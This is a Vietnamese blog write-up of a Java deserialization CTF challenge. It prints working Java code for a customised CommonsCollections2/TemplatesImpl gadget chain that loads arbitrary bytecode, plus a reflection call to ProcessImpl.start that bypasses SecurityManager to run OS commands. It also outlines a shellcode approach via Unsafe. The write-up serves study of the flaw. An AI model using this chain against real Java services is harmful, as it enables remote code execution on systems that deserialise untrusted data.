Skip to main content

Command Palette

Search for a command to run...

Writeup for challenge pwn-JVM, Wannagame Championship 2024

Updated
7 min read
Writeup for challenge pwn-JVM, Wannagame Championship 2024

Năm ngoái thì mình có tham dự giải Wannagame Championship, trong giải thì có 1 challenge java không có ai solve ra được, với category là web-pwn. Hồi đó thì mình mới học được một ít về java nên rất muốn áp dụng kiến thức liền, và tất nhiên là không làm được :)) Dạo gần đây có research sâu hơn đôi chút về java nên lục lại bài cũ và hôm nay quyết định viết blog về nó.

Link download challenge: https://drive.google.com/file/d/10e9zrL9KTx8Fe59JsVSj3nczzSoOeFxF/view?usp=sharing

Tổng quan về challenge

Đề bài cho 1 cái web đơn giản không có gì mấy, và ta có thể submit base64 encoded payload lên server để cho backend deserialize (để ý phần bôi đỏ):

Trong classpath của challenge thì có sẵn một số jar package như sau:

Ta thấy rõ ràng có commons-collections4-4.0 ở trong classpath, vậy thì ta có thể lợi dụng nó để gửi payload chain CC2 có sẵn của ysoserial và lấy flag nhỉ ( ͡° ͜ʖ ͡°):

Nhưng đời không như là mơ, bởi vì nếu đọc code của backend thì ta thấy rằng author có setup một SecurityManager check những gì user được phép làm. Ở đây ta có đoạn check như sau:

Check log của docker:

Vậy thì không mì ăn liền được rồi ^^

Phân tích

Nói sơ qua về cách mà SecurityManager của java hoạt động, thì đây là một class cho phép tạo ra các security policy cho java application. Chủ yếu class này được dùng để quyết định xem khi nào thì một tác vụ được phép diễn ra (kiểu như khi nào thì application bị chặn không cho phép đọc file, gọi đến một class thuộc package nào thì bị cấm, …). Đối với từng action thì class này đều có method riêng để kiểm tra quyền hạn, ví dụ như method checkExit() được dùng để kiểm tra khi nào thì một thread được quyền khiến JVM dừng thực thi:

Concept chung cho các method này sẽ là, nếu action không được phép diễn ra thì method sẽ throw một SecurityException, ngược lại thì cho phép chương trình tiếp tục thực thi.

Vậy làm sao mà SecurityManager có thể detect được khi nào thì một hành động đang diễn ra? Cơ bản thì SecurityManager cũng chỉ là một class nên để các method của nó có thể được thực thi thì phải có cái gì đó gọi chúng lên. “Cái gì đó“ ở đây chính là cách mà người ta thực hiện call tới SecurityManager trong implementation của mỗi class. Ví dụ, đối với method java.lang.Runtime.getRuntime.exec():

Ta có thể thấy rằng SecurityManager được gọi lên để kiểm tra quyền thực thi ở đây. Vậy thì, để SecurityManager làm việc của mình thì nó phải được gọi lên (nhớ câu này nhé ^^)

SecurityManager (Java Platform SE 8 )

Quay lại với challenge, ta thấy rằng challenge có set property jdk.xml.enableTemplatesImplDeserialization thành true. Điều này có nghĩa rằng backend cho phép deserialize class TemplatesImpl. Đây là một class khá nguy hiểm, bởi vì nó cho phép ta define ra class mới tùy ý thông qua việc load java bytecode. Điều này có nghĩa là ta có thể load bytecode tùy thích (không conflict với SecurityManager) và thực thi code java. Vậy thì trước tiên hãy bắt tay vào việc load bytecode đã.

Về việc làm sao để load được bytecode tùy ý, thì mình tham khảo code của ysoserial và tự custom lại chain CC2 một chút. Các bạn có thể tìm hiểu cách mà các chain này hoạt động tại link sau:

JavaSecurity101 – #4: Java Deserialization – ysoserial 2 | Tsu BlogS ٩(^‿^)۶

ysoserial/src/main/java/ysoserial/payloads/CommonsCollections2.java at master · frohoff/ysoserial

TemplatesImpl

Payload:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void printThePayload(Object obj) throws Exception {
        System.out.println(SerializationUtils.serialize(obj));
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        ClassPool classPool = ClassPool.getDefault();

        classPool.insertClassPath(new ClassClassPath(StubTransletExploitClass.class));
        classPool.insertClassPath(new ClassClassPath(TransformerFactoryImpl.class));

        final CtClass clazz = classPool.get(StubTransletExploitClass.class.getName());
        clazz.setName("lqc" + System.nanoTime());
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);

        final byte[] classBytes = clazz.toBytecode();

        setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
        setFieldValue(templates, "_name", "lqc");
        setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));

        queue.add(1);
        queue.add(1);
        // Force transformer to call newTransformer on TemplatesImpl to load bytecode
        setFieldValue(transformer, "iMethodName", "newTransformer");

        final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;

        printThePayload(queue);
    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.Serializable;

public class StubTransletExploitClass extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;
    // exploit class to load bytecode from
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator interator, SerializationHandler handler) throws TransletException {}

    public StubTransletExploitClass() throws Exception {
        super();
        System.out.println("from lqc with luv <3");
    }
}
import java.io.*;
import java.util.Base64;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;

public class SerializationUtils {

    public static String serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gzip = new GZIPOutputStream(baos);
        ObjectOutputStream oos = new ObjectOutputStream(gzip);
        oos.writeObject(obj);
        oos.close();
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    public static void deserialize(String data) throws Exception {
        byte[] bytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        GZIPInputStream gzip = new GZIPInputStream(bais);
        ObjectInputStream ois = new ObjectInputStream(gzip);
        ois.readObject();
    }

    public static byte[] classAsBytes(Class<?> clazz) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(clazz);
        oos.close();
        return baos.toByteArray();
    }

}

Oke, về căn bản thì ta có thể chạy được code java bất kì, miễn là nó không conflict với rule của SecurityManager. Vậy thì có cách nào để vượt qua các rule trên và thực thi lệnh OS bất kì không? Sau giải thì tác giả có hint như sau:

Thực chất Unsafe là một class cho phép ta thực hiện các thao tác lập trình ở mức low level, chẳng hạn như quản lí heap memory, tạo object mà không cần chạy constructor, access vào phần cứng như CPU, … (The Unsafe Class: Unsafe at Any Speed). Với việc ta có thể chạy code java bất kì như trên, thì idea ở đây sẽ là như sau (tham khảo bạn mình là vilex1337):

  • Allocate một vùng nhớ với quyền rwx

  • Ghi shellcode vào vùng nhớ đó

  • Ghi địa chỉ của shellcode đè lên Global Offset Table của glibc và trigger shellcode

Idea nghe thì dễ nhưng với một đứa không có mấy kinh nghiệm binary exploit như mình thì phải mò mẫm khá nhiều thứ. Vì vậy, phần này mình sẽ để lại cho bạn đọc tự tìm hiểu.

Any other way???

Quay trở lại vấn đề chính, ta có thể chạy code java tùy ý, và ta cũng biết rằng SecurityManager phải được gọi lên thì nó mới hoạt động. Vậy thì, sẽ thế nào nếu ta không gọi nó lên trong quá trình deserialize?

Với idea này thì mình bắt tay vào việc đọc code của class Runtime và xem cách nó gọi SecurityManager như thế nào (phần này thì đã có ở đầu bài). Sau khi gọi SecurityManager lên thì mình để ý method ProcessBuilder.start() có thực hiện đoạn code sau:

Thử trace vào method ProcessImpl.start() thì ta thấy rằng thực chất đây là method sau cùng thực hiện gọi lệnh OS:

Vậy thì mình dùng reflection để gọi thẳng ProcessImpl.start ra thì sao nhỉ?

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Map;

public class StubTransletExploitClass extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;
    // exploit class to load bytecode from
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator interator, SerializationHandler handler) throws TransletException {}

    public StubTransletExploitClass() throws Exception {
        super();
        Class<?> processImplClass = Class.forName("java.lang.ProcessImpl");
        Class<?>[] parameterTypes = new Class<?>[]{
                String[].class,
                Map.class,
                String.class,
                ProcessBuilder.Redirect[].class,
                boolean.class
        };
        Method startMethod = processImplClass.getDeclaredMethod("start", parameterTypes);
        startMethod.setAccessible(true);
        String[] cmdArray = {"touch", "/tmp/pwned"};
        boolean redirectErrorStream = false;
        startMethod.invoke(null, cmdArray, null, null, null, redirectErrorStream);
    }
}

Vậy là ta có một cách bypass SecurityManager khá đơn giản =))

Tổng kết

Sau cùng thì, SecurityManager vẫn là một cơ chế high-level dựa nhiều vào việc implementation của class khác có gọi nó lên hay không, và không đáng tin cậy lắm để chống lại deserialization attack. Trong tương lai gần mình sẽ viết thêm về những cơ chế hiện đại hơn trong việc phòng tránh lỗ hổng này.

More from this blog

B

black_phantom

5 posts